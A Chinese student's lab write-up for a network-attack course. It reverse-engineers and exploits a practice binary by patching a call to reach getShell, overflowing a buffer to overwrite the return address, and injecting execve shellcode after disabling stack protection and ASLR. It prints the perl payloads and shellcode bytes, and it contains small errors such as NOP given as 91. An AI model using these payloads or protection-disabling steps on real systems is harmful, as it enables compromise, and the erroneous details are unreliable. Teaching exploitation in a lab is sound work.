20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
《网络对抗技术》Exp1 PC平台逆向破解之“逆向及Bof基础实践说明” Week3
一、 实验预习
- 1、什么是漏洞?漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
- 2、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(以下为16进制)
NOP:91,空指令
JNE: 75,条件跳转,判断是否等于,若不等于则跳转
JE :74,条件跳转,判断是否等于,若等于则跳转
JMP:E9,无条件转移
CMP:38~3D,比较两个数的大小
- 3、掌握反汇编与十六进制编程器
- 反汇编指令参数
objdump -C:将底层的符号名解码成用户级名字,除了去掉所有开头
objdump -d 反汇编那些应该还有指令机器码的section
objdump -f 显示objfile中每个文件的整体头部摘要信息
objdump -h 显示目标文件各个section的头部摘要信息
objdump -i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表
objdump -j name 仅仅显示指定section的信息
...
- 如何linux下使用16进制编辑器(参考博客)
使用VIM指令进入文件后,按下键,输入%!xxd
再按回车,可以把文件中的内容转换为16进制显示;转换后,可以输入%!xxd -r
再按回车转换回来。
二、实验内容
本次实验对象为名为pwn1的pwn1的linux可执行文件。程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验分为三部分:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
三、实验步骤
- 实验开始前,先建立相应的文件夹,然后复制pwn1并重命名
步骤一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 对文件“part1”进行反汇编:
objdump -b part1 | more
,得到part1的汇编语言表示,找到关于我们所要的函数跳转的部分:
- 我们针对上图进行相应的分析。
- 1、可以看到,原本的函是在执行主函数时调用foo,也就是跳转到foo函数的首地址处。所以,我们要做的就是修改主函数中的跳转地址,使得程序跳转到getshell函数的首地址。
- 2、主函数中有一条是
call 8048491<foo>
,这里8048491
就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff
,其中e8是指令call
的机器码,后面的d7 ff ff ff
是目的地址减去eip
寄存器中地址的值,如果是负数要换算成补码。这里的e8 d7 ff ff ff
是8048491-80484ba
的结果换算成补码。为什么是减去80484ba
而不是80484b5
呢?因为eip
寄存器中存放的是下一条指令所在的地址。 - 3、从图中我们可以看到,函数
getshell
的首地址是804847d
。也就是说我们需要把804847d-80484ba
的结果换算成补码,替换原来的e8 d7 ff ff ff
。计算结果是ff ff ff c3
- 接下来就是地址替换的过程
- 1、使用vi进入“part1”,发现一堆乱码。
- 2、输入
:
后,键入%!xxd
,按回车,将文件内容转化为16进制表示
- 3、输入
/d7
搜索d7出现的地方。观察一下d7前后,确定是我们要修改的地方。确认后按i
进入编辑模式,把d7改为c3。
- 4、输入
:
后,键入%!xxd -r
将文件内容转化为原来的表示方式 - 5、使用
wq
保存并推出文件
- 最后进行检验。在命令行中输入
./part1
执行part1,输入ls
,发现执行结果是该目录下的文件名。说明修改成功。
步骤二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
首先要知道,在“part2”中的
main
函数调用的是foo
函数,foo
函数在执行完后会返回,也就是指向main函数中调用foo
函数这条指令的下一条指令。我们要做的是利用foo
中的buf漏洞
,覆盖返回地址,使得在输入参数后直接执行shellcode
,而非foo
函数。附上一张图能够更加清晰地了解这一概念。
对文件“part2”进行反汇编:
objdump -b part2 | more
,得到part2的汇编语言表示,找到关于我们所要的部分:
对上图进行分析,发现buf的长度是1c(十六进制)字节,再加上
%ebp
占用的4字节,结果转换成十进制是32字节。使用gdb调试“part2”,验证是否32字节以外的内容会被写进
%eip
寄存器。- 1、在命令行输入
gdb part2
进入调试页面 - 2、输入
r
开始运行,输入参数,然后输如info r
进行查看
- 3、看上图,看到
%eip
的值为0x35353535
,0x35
是5的ASCII码。这就说明了32字节以外的内容会被写进%eip
寄存器
- 1、在命令行输入
所以我们接下来要做的是在输入时,在32字节的内容后面加上
getshell
函数的首地址的ASCII码信息。从之前的截图可以知道其首地址为804847d
,由于是小端序列,所以我们要输入的是32字节的内容+\x7d\x84\x04\x08
。\x表示的是转换为ASCII码- 1、我们无法通过键盘输入
\x7d\x84\x04\x08
这样的16进制值,所以要使用指令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input
先生成包括这个字符串的一个文件。\x0a表示回车。 - 2、使用vi指令进入“input”文件。输入
%!xxd
转换为十六进制进行查看:
- 3、使用
cat
和管道,在执行“part2”的同时把文件“input”中的内容作为参数输入:(cat input ;cat) | ./part2
,再使用;s
命令和pwd
命令进行调试,可以看到结果。
- 1、我们无法通过键盘输入
步骤三: 注入Shellcode并执行
- 安装
execstack
- 修改堆栈的设置
execstack -s part3//设置堆栈可执行
execstack -q part3//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //关闭后查看结果
- 先构造一个shellcode语句,并且把这个语句写入到文件“input_3”中(参考老师的博客中给出的shellcode):
perl -e 'print "A" x 32;printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_3
- 上面的
\x4\x3\x2\x1
用来暂时表示shellcode
代码的首地址,接下来我们要做的是寻找其真正的首地址1、在目前终端的命令行输入
(cat input_3;cat) | ./part3
2、输入
ps -ef | grep part3
来获得进程号。进程号为5013
。(从这里就可以知道为什么在构造shellcode的时候不要有回车)
3、打开另一终端,进入到实验文件所在目录,使用gbd进行调试。在gdb中输入
attach 5013
,再输入disassemble foo
来查看注入内容的地址。
4、在
ret
这一句设置断点:break *0x080484ae
,然后切换至另一终端,按下回车5、使用
info -r rsp
来查看栈顶指针,为0xffd708ac
。再输入x/16x 0xffd708ac
查看指针指向的内容
6、可以从上图看到,只要把
0xffd708ac
加上4就能得到shellcode的首地址为0xffd708b0
- 找到首地址后,切换终端,先终止当前进程。然后打开input_3将其修改为16进制表示后进行修改,把
\x04\x03\x02\x01
修改为\xb0\x08\xff\x7d
再输入(cat input_3;cat) | ./part3
,再输入ls
进行验证。成功
四、心得体会
本次实验内容虽然比较简单,但是我花了6个多小时来完成。对于实验内容中的每一步我都尽所能地去了解其中的原理,并把实验过程中所学到的都做了笔记,来巩固自己的记忆。总体来说收获还是很大的,这次实验让我学会了缓冲区溢出攻击的基本原理和一些简单的方式。这是我第一次接触到这样的实验,感觉很有趣,期待接下来的其他实验~并且期待自己经过不断的学习能够成为一名黑客,能够主动地对某些主机发动简单的攻击(当然不会是恶意的,会找同学互相尝试)。为了这一目标今后也会更加努力地学习。
20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- MVC基本登陆与验证码功能实现
一.基本登陆实现与验证码功能实现,该功能是和spring.net功能集合使用的,因为后面要用到验证是否处于登陆状态 1. 先构建一个登陆页面 @{ Layout = null; } <!DOCT ...
- nrf52832板子焊接后总结的经验
将之前打的nrf52832的板子拿到手了,经过一番焊接和调试后,发现了一些问题,因为是第一次画板焊接调试,很多地方做的不好,现在将自己的一些经验总结如下: 1 在制板之前,丝印层有必要好好的检查,建议 ...
- vue-cli卸载旧版,再重新安装后还显示的是旧的版本
按vue-cli的官方文档中卸载了旧版(2.8.2),然后重装了新版本,之后输入 vue --version还是显示2.8.2,最后发现关闭终端后重新打开终端,再看vue --version显示的是新 ...
- POJ-2796 & 2019南昌邀请赛网络赛 I. 区间最大min*sum
http://poj.org/problem?id=2796 https://nanti.jisuanke.com/t/38228 背景 给定一个序列,对于任意区间,min表示区间中最小的数,sum表 ...
- Click event doesn't work on dynamically generated elements
I couldn't get live or delegate to work on a div in a lightbox (tinybox). I used setTimeout successf ...
- Java语言中的奇淫技巧
variable length parameter list(可变长度参数列表) 很久之前了解过有这么一种写法,但转眼即忘.今天在公司项目的代码里看到,有点小惊讶,写这代码的同事还是有点水平的...
- 函数调用模式,this指向
## 函数的四种调用模式 1.函数模式 this--->window function test(){ console.log(this); } test(): 2.方法模式 thi ...
- Web的Flex弹性盒模型
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 调用 js 生成图片二维码
一.js 生成二维码: 首先,需要引用 jQuery 和 jquery.qrcode.js.然后: //生产二维码 $("#qrcodeCanvas").qrcode({ rend ...
- 简易OA漫谈之工作流设计(五,直接上级)
规则引擎里比较复杂的问题就是:配置步骤的审批人. 某一个步骤由谁来审批,有很多复杂情况: 1.指定某一个具体的人.这种通常用于一些特殊的岗位,全公司只有一个,比如小公司里的财务,人事专员等. 2.指定 ...